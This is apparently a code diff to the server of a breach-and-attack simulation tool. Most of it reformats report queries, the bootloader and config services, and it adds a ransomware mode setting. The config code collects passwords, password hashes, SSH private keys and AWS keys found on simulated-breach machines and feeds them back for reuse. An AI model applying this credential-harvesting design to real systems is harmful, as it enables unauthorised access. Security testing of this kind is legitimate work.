@@ -20,38 +20,51 @@ class PostBreachTechnique(AttackTechnique, metaclass=abc.ABCMeta):
@classmethod
def get_pba_query(cls, post_breach_action_names):
"""
- :param post_breach_action_names: Names of post-breach actions with which the technique is associated
+ :param post_breach_action_names: Names of post-breach actions with which the technique is
+ associated
(example - `["Communicate as new user", "Backdoor user"]` for T1136)
:return: Mongo query that parses attack telemetries for a simple report component
(gets machines and post-breach action usage).
"""
- return [{'$match': {'telem_category': 'post_breach',
- '$or': [{'data.name': pba_name} for pba_name in post_breach_action_names]}},
- {'$project': {'_id': 0,
- 'machine': {'hostname': '$data.hostname',
- 'ips': ['$data.ip']},
- 'result': '$data.result'}}]
+ return [
+ {
+ "$match": {
+ "telem_category": "post_breach",
+ "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names],
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]},
+ "result": "$data.result",
+ }
+ },
+ ]
@classmethod
def get_report_data(cls):
"""
:return: Technique's report data aggregated from the database
"""
+
@cls.is_status_disabled
def get_technique_status_and_data():
info = list(mongo.db.telemetry.aggregate(cls.get_pba_query(cls.pba_names)))
status = ScanStatus.UNSCANNED.value
if info:
- successful_PBAs = mongo.db.telemetry.count({
- '$or': [{'data.name': pba_name} for pba_name in cls.pba_names],
- 'data.result.1': True
- })
+ successful_PBAs = mongo.db.telemetry.count(
+ {
+ "$or": [{"data.name": pba_name} for pba_name in cls.pba_names],
+ "data.result.1": True,
+ }
+ )
status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value
return (status, info)
- data = {'title': cls.technique_title()}
+ data = {"title": cls.technique_title()}
status, info = get_technique_status_and_data()
data.update(cls.get_base_data_by_status(status))
- data.update({'info': info})
+ data.update({"info": info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
index 34be687a4..0a9a1045b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -1,4 +1,4 @@
-from monkey_island.cc.server_utils.encryptor import encryptor
+from monkey_island.cc.server_utils.encryptor import get_encryptor
def parse_creds(attempt):
@@ -7,16 +7,16 @@ def parse_creds(attempt):
:param attempt: login attempt from database
:return: string with username and used password/hash
"""
- username = attempt['user']
- creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
- 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
- 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
- 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
+ username = attempt["user"]
+ creds = {
+ "lm_hash": {"type": "LM hash", "output": censor_hash(attempt["lm_hash"])},
+ "ntlm_hash": {"type": "NTLM hash", "output": censor_hash(attempt["ntlm_hash"], 20)},
+ "ssh_key": {"type": "SSH key", "output": attempt["ssh_key"]},
+ "password": {"type": "Plaintext password", "output": censor_password(attempt["password"])},
+ }
for key, cred in list(creds.items()):
if attempt[key]:
- return '%s ; %s : %s' % (username,
- cred['type'],
- cred['output'])
+ return "%s ; %s : %s" % (username, cred["type"], cred["output"])
def censor_password(password, plain_chars=3, secret_chars=5):
@@ -29,8 +29,8 @@ def censor_password(password, plain_chars=3, secret_chars=5):
"""
if not password:
return ""
- password = encryptor.dec(password)
- return password[0:plain_chars] + '*' * secret_chars
+ password = get_encryptor().dec(password)
+ return password[0:plain_chars] + "*" * secret_chars
def censor_hash(hash_, plain_chars=5):
@@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5):
"""
if not hash_:
return ""
- hash_ = encryptor.dec(hash_)
- return hash_[0: plain_chars] + ' ...'
+ hash_ = get_encryptor().dec(hash_)
+ return hash_[0:plain_chars] + " ..."
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
index 862207505..bfa406b96 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -14,10 +14,12 @@ class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta):
:return: usage string
"""
try:
- usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
+ usage["usage"] = UsageEnum[usage["usage"]].value[usage["status"]]
except KeyError:
- logger.error("Error translating usage enum. into string. "
- "Check if usage enum field exists and covers all telem. statuses.")
+ logger.error(
+ "Error translating usage enum. into string. "
+ "Check if usage enum field exists and covers all telem. statuses."
+ )
return usage
@classmethod
@@ -35,17 +37,30 @@ class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta):
:return: Query that parses attack telemetries for a simple report component
(gets machines and attack technique usage).
"""
- return [{'$match': {'telem_category': 'attack',
- 'data.technique': cls.tech_id}},
- {'$lookup': {'from': 'monkey',
- 'localField': 'monkey_guid',
- 'foreignField': 'guid',
- 'as': 'monkey'}},
- {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
- 'status': '$data.status',
- 'usage': '$data.usage'}},
- {'$addFields': {'_id': 0,
- 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
- 'monkey': 0}},
- {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
+ return [
+ {"$match": {"telem_category": "attack", "data.technique": cls.tech_id}},
+ {
+ "$lookup": {
+ "from": "monkey",
+ "localField": "monkey_guid",
+ "foreignField": "guid",
+ "as": "monkey",
+ }
+ },
+ {
+ "$project": {
+ "monkey": {"$arrayElemAt": ["$monkey", 0]},
+ "status": "$data.status",
+ "usage": "$data.usage",
+ }
+ },
+ {
+ "$addFields": {
+ "_id": 0,
+ "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"},
+ "monkey": 0,
+ }
+ },
+ {"$group": {"_id": {"machine": "$machine", "status": "$status", "usage": "$usage"}}},
+ {"$replaceRoot": {"newRoot": "$_id"}},
+ ]
diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py
deleted file mode 100644
index 4866a6729..000000000
--- a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py
+++ /dev/null
@@ -1,15 +0,0 @@
-from unittest import TestCase
-
-from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface
-
-
-class TestMitreApiInterface(TestCase):
-
- def test_get_all_mitigations(self):
- mitigations = MitreApiInterface.get_all_mitigations()
- self.assertIsNotNone((len(mitigations.items()) >= 282))
- mitigation = next(iter(mitigations.values()))
- self.assertEqual(mitigation['type'], "course-of-action")
- self.assertIsNotNone(mitigation['name'])
- self.assertIsNotNone(mitigation['description'])
- self.assertIsNotNone(mitigation['external_references'])
diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py
index 2d8a14055..05bdac8f1 100644
--- a/monkey/monkey_island/cc/services/bootloader.py
+++ b/monkey/monkey_island/cc/services/bootloader.py
@@ -4,20 +4,22 @@ from bson import ObjectId
from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeCreationException, NodeService
-from monkey_island.cc.services.utils.bootloader_config import MIN_GLIBC_VERSION, SUPPORTED_WINDOWS_VERSIONS
+from monkey_island.cc.services.utils.bootloader_config import (
+ MIN_GLIBC_VERSION,
+ SUPPORTED_WINDOWS_VERSIONS,
+)
from monkey_island.cc.services.utils.node_states import NodeStates
class BootloaderService:
-
@staticmethod
def parse_bootloader_telem(telem: Dict) -> bool:
- telem['ips'] = BootloaderService.remove_local_ips(telem['ips'])
- if telem['os_version'] == "":
- telem['os_version'] = "Unknown OS"
+ telem["ips"] = BootloaderService.remove_local_ips(telem["ips"])
+ if telem["os_version"] == "":
+ telem["os_version"] = "Unknown OS"
telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem)
- mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True)
+ mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True)
will_monkey_run = BootloaderService.is_os_compatible(telem)
try:
@@ -26,33 +28,33 @@ class BootloaderService:
# Didn't find the node, but allow monkey to run anyways
return True
- node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run)
- if 'group' not in node or node['group'] != node_group.value:
- NodeService.set_node_group(node['_id'], node_group)
+ node_group = BootloaderService.get_next_node_state(node, telem["system"], will_monkey_run)
+ if "group" not in node or node["group"] != node_group.value:
+ NodeService.set_node_group(node["_id"], node_group)
return will_monkey_run
@staticmethod
def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates:
- group_keywords = [system, 'monkey']
- if 'group' in node and node['group'] == 'island':
- group_keywords.extend(['island', 'starting'])
+ group_keywords = [system, "monkey"]
+ if "group" in node and node["group"] == "island":
+ group_keywords.extend(["island", "starting"])
else:
- group_keywords.append('starting') if will_monkey_run else group_keywords.append('old')
+ group_keywords.append("starting") if will_monkey_run else group_keywords.append("old")
node_group = NodeStates.get_by_keywords(group_keywords)
return node_group
@staticmethod
def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId:
- ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15]
- hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15]
+ ip_hash = hex(hash(str(bootloader_telem["ips"])))[3:15]
+ hostname_hash = hex(hash(bootloader_telem["hostname"]))[3:15]
return ObjectId(ip_hash + hostname_hash)
@staticmethod
def is_os_compatible(bootloader_data) -> bool:
- if bootloader_data['system'] == 'windows':
- return BootloaderService.is_windows_version_supported(bootloader_data['os_version'])
- elif bootloader_data['system'] == 'linux':
- return BootloaderService.is_glibc_supported(bootloader_data['glibc_version'])
+ if bootloader_data["system"] == "windows":
+ return BootloaderService.is_windows_version_supported(bootloader_data["os_version"])
+ elif bootloader_data["system"] == "linux":
+ return BootloaderService.is_glibc_supported(bootloader_data["glibc_version"])
@staticmethod
def is_windows_version_supported(windows_version) -> bool:
@@ -61,8 +63,8 @@ class BootloaderService:
@staticmethod
def is_glibc_supported(glibc_version_string) -> bool:
glibc_version_string = glibc_version_string.lower()
- glibc_version = glibc_version_string.split(' ')[-1]
- return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string
+ glibc_version = glibc_version_string.split(" ")[-1]
+ return glibc_version >= str(MIN_GLIBC_VERSION) and "eglibc" not in glibc_version_string
@staticmethod
def remove_local_ips(ip_list) -> List[str]:
diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py
deleted file mode 100644
index f71c36184..000000000
--- a/monkey/monkey_island/cc/services/bootloader_test.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from unittest import TestCase
-
-from monkey_island.cc.services.bootloader import BootloaderService
-
-WINDOWS_VERSIONS = {
- "5.0": "Windows 2000",
- "5.1": "Windows XP",
- "5.2": "Windows XP/server 2003",
- "6.0": "Windows Vista/server 2008",
- "6.1": "Windows 7/server 2008R2",
- "6.2": "Windows 8/server 2012",
- "6.3": "Windows 8.1/server 2012R2",
- "10.0": "Windows 10/server 2016-2019"
-}
-
-MIN_GLIBC_VERSION = 2.14
-
-
-class TestBootloaderService(TestCase):
-
- def test_is_glibc_supported(self):
- str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15"
- str2 = "ldd (GNU libc) 2.12"
- str3 = "ldd (GNU libc) 2.28"
- str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23"
- self.assertTrue(not BootloaderService.is_glibc_supported(str1) and
- not BootloaderService.is_glibc_supported(str2) and
- BootloaderService.is_glibc_supported(str3) and
- BootloaderService.is_glibc_supported(str4))
-
- def test_remove_local_ips(self):
- ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
- ips = BootloaderService.remove_local_ips(ips)
- self.assertEqual(["192.168.56.1"], ips)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 390380131..ba4083286 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -6,32 +6,38 @@ import logging
from jsonschema import Draft4Validator, validators
import monkey_island.cc.environment.environment_singleton as env_singleton
-import monkey_island.cc.services.post_breach_files
+from common.config_value_paths import (
+ AWS_KEYS_PATH,
+ EXPORT_MONKEY_TELEMS_PATH,
+ LM_HASH_LIST_PATH,
+ NTLM_HASH_LIST_PATH,
+ PASSWORD_LIST_PATH,
+ PBA_LINUX_FILENAME_PATH,
+ PBA_WINDOWS_FILENAME_PATH,
+ SSH_KEYS_PATH,
+ STARTED_ON_ISLAND_PATH,
+ USER_LIST_PATH,
+)
from monkey_island.cc.database import mongo
-from monkey_island.cc.server_utils.encryptor import encryptor
-from monkey_island.cc.services.utils.network_utils import local_ip_addresses
+from monkey_island.cc.server_utils.encryptor import get_encryptor
+from monkey_island.cc.services.config_manipulator import update_config_per_mode
from monkey_island.cc.services.config_schema.config_schema import SCHEMA
-
-__author__ = "itay.mizeretz"
-
-from common.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH,
- LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH,
- PASSWORD_LIST_PATH, SSH_KEYS_PATH,
- STARTED_ON_ISLAND_PATH, USER_LIST_PATH)
+from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode
+from monkey_island.cc.services.post_breach_files import PostBreachFilesService
+from monkey_island.cc.services.utils.network_utils import local_ip_addresses
logger = logging.getLogger(__name__)
# This should be used for config values of array type (array of strings only)
-ENCRYPTED_CONFIG_VALUES = \
- [
- PASSWORD_LIST_PATH,
- LM_HASH_LIST_PATH,
- NTLM_HASH_LIST_PATH,
- SSH_KEYS_PATH,
- AWS_KEYS_PATH + ['aws_access_key_id'],
- AWS_KEYS_PATH + ['aws_secret_access_key'],
- AWS_KEYS_PATH + ['aws_session_token']
- ]
+ENCRYPTED_CONFIG_VALUES = [
+ PASSWORD_LIST_PATH,
+ LM_HASH_LIST_PATH,
+ NTLM_HASH_LIST_PATH,
+ SSH_KEYS_PATH,
+ AWS_KEYS_PATH + ["aws_access_key_id"],
+ AWS_KEYS_PATH + ["aws_secret_access_key"],
+ AWS_KEYS_PATH + ["aws_session_token"],
+]
class ConfigService:
@@ -44,53 +50,65 @@ class ConfigService:
def get_config(is_initial_config=False, should_decrypt=True, is_island=False):
"""
Gets the entire global config.
- :param is_initial_config: If True, the initial config will be returned instead of the current config.
- :param should_decrypt: If True, all config values which are set as encrypted will be decrypted.
+ :param is_initial_config: If True, the initial config will be returned instead of the
+ current config.
+ :param should_decrypt: If True, all config values which are set as encrypted will be
+ decrypted.
:param is_island: If True, will include island specific configuration parameters.
:return: The entire global config.
"""
- config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {}
- for field in ('name', '_id'):
+ config = (
+ mongo.db.config.find_one({"name": "initial" if is_initial_config else "newconfig"})
+ or {}
+ )
+ for field in ("name", "_id"):
config.pop(field, None)
if should_decrypt and len(config) > 0:
ConfigService.decrypt_config(config)
if not is_island:
- config.get('cnc', {}).pop('aws_config', None)
+ config.get("cnc", {}).pop("aws_config", None)
return config
@staticmethod
def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt=True):
"""
Get a specific config value.
- :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', 'exploit_password_list'].
- :param is_initial_config: If True, returns the value of the initial config instead of the current config.
+ :param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials',
+ 'exploit_password_list'].
+ :param is_initial_config: If True, returns the value of the initial config instead of the
+ current config.
:param should_decrypt: If True, the value of the config key will be decrypted
(if it's in the list of encrypted config values).
:return: The value of the requested config key.
"""
- config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr)
- config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
+ config_key = functools.reduce(lambda x, y: x + "." + y, config_key_as_arr)
+ config = mongo.db.config.find_one(
+ {"name": "initial" if is_initial_config else "newconfig"}, {config_key: 1}
+ )
for config_key_part in config_key_as_arr:
config = config[config_key_part]
if should_decrypt:
if config_key_as_arr in ENCRYPTED_CONFIG_VALUES:
if isinstance(config, str):
- config = encryptor.dec(config)
+ config = get_encryptor().dec(config)
elif isinstance(config, list):
- config = [encryptor.dec(x) for x in config]
+ config = [get_encryptor().dec(x) for x in config]
return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
- mongo.db.config.update({'name': 'newconfig'},
- {"$set": {mongo_key: value}})
+ mongo.db.config.update({"name": "newconfig"}, {"$set": {mongo_key: value}})
@staticmethod
def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
flat_config_json = {}
for i in config_json:
+ if i == "ransomware":
+ # Don't flatten the ransomware because ransomware payload expects a dictionary #1260
+ flat_config_json[i] = config_json[i]
+ continue
for j in config_json[i]:
for k in config_json[i][j]:
if isinstance(config_json[i][j][k], dict):
@@ -107,71 +125,67 @@ class ConfigService:
@staticmethod
def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_encrypt):
- item_key = '.'.join(item_path_array)
+ item_key = ".".join(item_path_array)
items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt)
if item_value in items_from_config:
return
if should_encrypt:
- item_value = encryptor.enc(item_value)
+ item_value = get_encryptor().enc(item_value)
mongo.db.config.update(
- {'name': 'newconfig'},
- {'$addToSet': {item_key: item_value}},
- upsert=False
+ {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False
)
mongo.db.monkey.update(
- {},
- {'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
- multi=True
+ {}, {"$addToSet": {"config." + item_key.split(".")[-1]: item_value}}, multi=True
)
@staticmethod
def creds_add_username(username):
- ConfigService.add_item_to_config_set_if_dont_exist(USER_LIST_PATH,
- username,
- should_encrypt=False)
+ ConfigService.add_item_to_config_set_if_dont_exist(
+ USER_LIST_PATH, username, should_encrypt=False
+ )
@staticmethod
def creds_add_password(password):
- ConfigService.add_item_to_config_set_if_dont_exist(PASSWORD_LIST_PATH,
- password,
- should_encrypt=True)
+ ConfigService.add_item_to_config_set_if_dont_exist(
+ PASSWORD_LIST_PATH, password, should_encrypt=True
+ )
@staticmethod
def creds_add_lm_hash(lm_hash):
- ConfigService.add_item_to_config_set_if_dont_exist(LM_HASH_LIST_PATH,
- lm_hash,
- should_encrypt=True)
+ ConfigService.add_item_to_config_set_if_dont_exist(
+ LM_HASH_LIST_PATH, lm_hash, should_encrypt=True
+ )
@staticmethod
def creds_add_ntlm_hash(ntlm_hash):
- ConfigService.add_item_to_config_set_if_dont_exist(NTLM_HASH_LIST_PATH,
- ntlm_hash,
- should_encrypt=True)
+ ConfigService.add_item_to_config_set_if_dont_exist(
+ NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True
+ )
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(
- ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip):
+ ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip
+ ):
ConfigService.add_item_to_config_set_if_dont_exist(
SSH_KEYS_PATH,
- {
- "public_key": public_key,
- "private_key": private_key,
- "user": user, "ip": ip
- },
+ {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip},
# SSH keys already encrypted in process_ssh_info()
- should_encrypt=False
-
+ should_encrypt=False,
)
@staticmethod
def ssh_key_exists(keys, user, ip):
- return [key for key in keys if key['user'] == user and key['ip'] == ip]
+ return [key for key in keys if key["user"] == user and key["ip"] == ip]
def _filter_none_values(data):
if isinstance(data, dict):
- return {k: ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None}
+ return {
+ k: ConfigService._filter_none_values(v)
+ for k, v in data.items()
+ if k is not None and v is not None
+ }
elif isinstance(data, list):
return [ConfigService._filter_none_values(item) for item in data if item is not None]
else:
@@ -179,23 +193,39 @@ class ConfigService:
@staticmethod
def update_config(config_json, should_encrypt):
- # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
+ # PBA file upload happens on pba_file_upload endpoint and corresponding config options
+ # are set there
config_json = ConfigService._filter_none_values(config_json)
- monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
+ ConfigService.set_config_PBA_files(config_json)
if should_encrypt:
try:
ConfigService.encrypt_config(config_json)
except KeyError:
- logger.error('Bad configuration file was submitted.')
+ logger.error("Bad configuration file was submitted.")
return False
- mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
- logger.info('monkey config was updated')
+ mongo.db.config.update({"name": "newconfig"}, {"$set": config_json}, upsert=True)
+ logger.info("monkey config was updated")
return True
+ @staticmethod
+ def set_config_PBA_files(config_json):
+ """
+ Sets PBA file info in config_json to current config's PBA file info values.
+ :param config_json: config_json that will be modified
+ """
+ if ConfigService.get_config():
+ linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
+ windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
+
+ ConfigService.set_config_value(PBA_LINUX_FILENAME_PATH, linux_filename)
+ ConfigService.set_config_value(PBA_WINDOWS_FILENAME_PATH, windows_filename)
+
@staticmethod
def init_default_config():
if ConfigService.default_config is None:
- default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator)
+ default_validating_draft4_validator = ConfigService._extend_config_with_default(
+ Draft4Validator
+ )
config = {}
default_validating_draft4_validator(SCHEMA).validate(config)
ConfigService.default_config = config
@@ -204,9 +234,12 @@ class ConfigService:
def get_default_config(should_encrypt=False):
ConfigService.init_default_config()
config = copy.deepcopy(ConfigService.default_config)
+
if should_encrypt:
ConfigService.encrypt_config(config)
+
logger.info("Default config was called")
+
return config
@staticmethod
@@ -217,29 +250,37 @@ class ConfigService:
@staticmethod
def reset_config():
- monkey_island.cc.services.post_breach_files.remove_PBA_files()
+ PostBreachFilesService.remove_PBA_files()
config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config)
- ConfigService.update_config(config, should_encrypt=False)
- logger.info('Monkey config reset was called')
+ try:
+ mode = get_mode()
+ update_config_per_mode(mode, config, should_encrypt=False)
+ except ModeNotSetError:
+ ConfigService.update_config(config, should_encrypt=False)
+ logger.info("Monkey config reset was called")
@staticmethod
def set_server_ips_in_config(config):
ips = local_ip_addresses()
- config["internal"]["island_server"]["command_servers"] = \
- ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
- config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
+ config["internal"]["island_server"]["command_servers"] = [
+ "%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips
+ ]
+ config["internal"]["island_server"]["current_server"] = "%s:%d" % (
+ ips[0],
+ env_singleton.env.get_island_port(),
+ )
@staticmethod
def save_initial_config_if_needed():
- if mongo.db.config.find_one({'name': 'initial'}) is not None:
+ if mongo.db.config.find_one({"name": "initial"}) is not None:
return
- initial_config = mongo.db.config.find_one({'name': 'newconfig'})
- initial_config['name'] = 'initial'
- initial_config.pop('_id')
+ initial_config = mongo.db.config.find_one({"name": "newconfig"})
+ initial_config["name"] = "initial"
+ initial_config.pop("_id")
mongo.db.config.insert(initial_config)
- logger.info('Monkey config was inserted to mongo and saved')
+ logger.info("Monkey config was inserted to mongo and saved")
@staticmethod
def _extend_config_with_default(validator_class):
@@ -260,9 +301,11 @@ class ConfigService:
layer_3_dict = {}
for property4, subschema4 in list(subschema3["properties"].items()):
if "properties" in subschema4:
- raise ValueError("monkey/monkey_island/cc/services/config.py "
- "can't handle 5 level config. "
- "Either change back the config or refactor.")
+ raise ValueError(
+ "monkey/monkey_island/cc/services/config.py "
+ "can't handle 5 level config. "
+ "Either change back the config or refactor."
+ )
if "default" in subschema4:
layer_3_dict[property4] = subschema4["default"]
sub_dict[property3] = layer_3_dict
@@ -273,7 +316,8 @@ class ConfigService:
yield error
return validators.extend(
- validator_class, {"properties": set_defaults},
+ validator_class,
+ {"properties": set_defaults},
)
@staticmethod
@@ -292,14 +336,22 @@ class ConfigService:
keys = [config_arr_as_array[-1] for config_arr_as_array in ENCRYPTED_CONFIG_VALUES]
for key in keys:
- if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str):
+ if isinstance(flat_config[key], collections.Sequence) and not isinstance(
+ flat_config[key], str
+ ):
# Check if we are decrypting ssh key pair
- if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
- flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
+ if (
+ flat_config[key]
+ and isinstance(flat_config[key][0], dict)
+ and "public_key" in flat_config[key][0]
+ ):
+ flat_config[key] = [
+ ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]
+ ]
else:
- flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
+ flat_config[key] = [get_encryptor().dec(item) for item in flat_config[key]]
else:
- flat_config[key] = encryptor.dec(flat_config[key])
+ flat_config[key] = get_encryptor().dec(flat_config[key])
return flat_config
@staticmethod
@@ -308,31 +360,42 @@ class ConfigService:
config_arr = config
parent_config_arr = None
- # Because the config isn't flat, this for-loop gets the actual config value out of the config
+ # Because the config isn't flat, this for-loop gets the actual config value out of
+ # the config
for config_key_part in config_arr_as_array:
parent_config_arr = config_arr
config_arr = config_arr[config_key_part]
- if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str):
+ if isinstance(config_arr, collections.abc.Sequence) and not isinstance(config_arr, str):
for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt
- if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
- config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
- ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
+ if isinstance(config_arr[i], dict) and "public_key" in config_arr[i]:
+ config_arr[i] = (
+ ConfigService.decrypt_ssh_key_pair(config_arr[i])
+ if is_decrypt
+ else ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
+ )
else:
- config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
+ config_arr[i] = (
+ get_encryptor().dec(config_arr[i])
+ if is_decrypt
+ else get_encryptor().enc(config_arr[i])
+ )
else:
- parent_config_arr[config_arr_as_array[-1]] = \
- encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
+ parent_config_arr[config_arr_as_array[-1]] = (
+ get_encryptor().dec(config_arr)
+ if is_decrypt
+ else get_encryptor().enc(config_arr)
+ )
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
- pair['public_key'] = encryptor.enc(pair['public_key'])
- pair['private_key'] = encryptor.enc(pair['private_key'])
+ pair["public_key"] = get_encryptor().enc(pair["public_key"])
+ pair["private_key"] = get_encryptor().enc(pair["private_key"])
else:
- pair['public_key'] = encryptor.dec(pair['public_key'])
- pair['private_key'] = encryptor.dec(pair['private_key'])
+ pair["public_key"] = get_encryptor().dec(pair["public_key"])
+ pair["private_key"] = get_encryptor().dec(pair["private_key"])
return pair
@staticmethod
diff --git a/monkey/monkey_island/cc/services/config_manipulator.py b/monkey/monkey_island/cc/services/config_manipulator.py
new file mode 100644
index 000000000..41f555be4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_manipulator.py
@@ -0,0 +1,31 @@
+from typing import Dict
+
+import dpath.util
+
+import monkey_island.cc.services.config as config_service
+from monkey_island.cc.services.config_manipulators import MANIPULATOR_PER_MODE
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
+
+
+def update_config_on_mode_set(mode: IslandModeEnum) -> bool:
+ config = config_service.ConfigService.get_config()
+ return update_config_per_mode(mode.value, config, True)
+
+
+def update_config_per_mode(mode: str, config: Dict, should_encrypt: bool) -> bool:
+ config = _set_default_config_values_per_mode(mode, config)
+ return config_service.ConfigService.update_config(
+ config_json=config, should_encrypt=should_encrypt
+ )
+
+
+def _set_default_config_values_per_mode(mode: str, config: Dict) -> Dict:
+ config_manipulator = MANIPULATOR_PER_MODE[mode]
+ config = _apply_config_manipulator(config, config_manipulator)
+ return config
+
+
+def _apply_config_manipulator(config: Dict, config_manipulator: Dict):
+ for path, value in config_manipulator.items():
+ dpath.util.set(config, path, value, ".")
+ return config
diff --git a/monkey/monkey_island/cc/services/config_manipulators.py b/monkey/monkey_island/cc/services/config_manipulators.py
new file mode 100644
index 000000000..291892371
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_manipulators.py
@@ -0,0 +1,6 @@
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
+
+MANIPULATOR_PER_MODE = {
+ IslandModeEnum.ADVANCED.value: {},
+ IslandModeEnum.RANSOMWARE.value: {"monkey.post_breach.post_breach_actions": []},
+}
diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py
index 0fa0b80d4..aba80e08a 100644
--- a/monkey/monkey_island/cc/services/config_schema/basic.py
+++ b/monkey/monkey_island/cc/services/config_schema/basic.py
@@ -12,9 +12,7 @@ BASIC = {
"title": "Exploiters",
"type": "array",
"uniqueItems": True,
- "items": {
- "$ref": "#/definitions/exploiter_classes"
- },
+ "items": {"$ref": "#/definitions/exploiter_classes"},
"default": [
